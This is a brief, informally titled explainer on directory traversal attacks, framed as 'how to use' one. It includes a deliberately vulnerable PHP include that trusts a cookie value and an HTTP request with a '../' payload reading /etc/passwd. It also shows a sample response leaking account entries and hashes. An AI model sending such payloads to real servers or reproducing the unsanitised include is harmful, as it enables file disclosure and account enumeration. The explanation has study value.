what is direct transversel

A directory traversal (or path traversal) is to exploit insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

The goal of this attack is to order an application to access a computer file that is not intended to be accessible. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.

Directory traversal is also known as the ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also canonicalization attacks.

how to use direct trnsversel?

<?php
$template = 'red.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>

An attack against this system could be to send the following HTTP request:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the UNIX password file /etc/passwd.

UNIX /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

However, in more recent UNIX systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as still displays the usernames on the box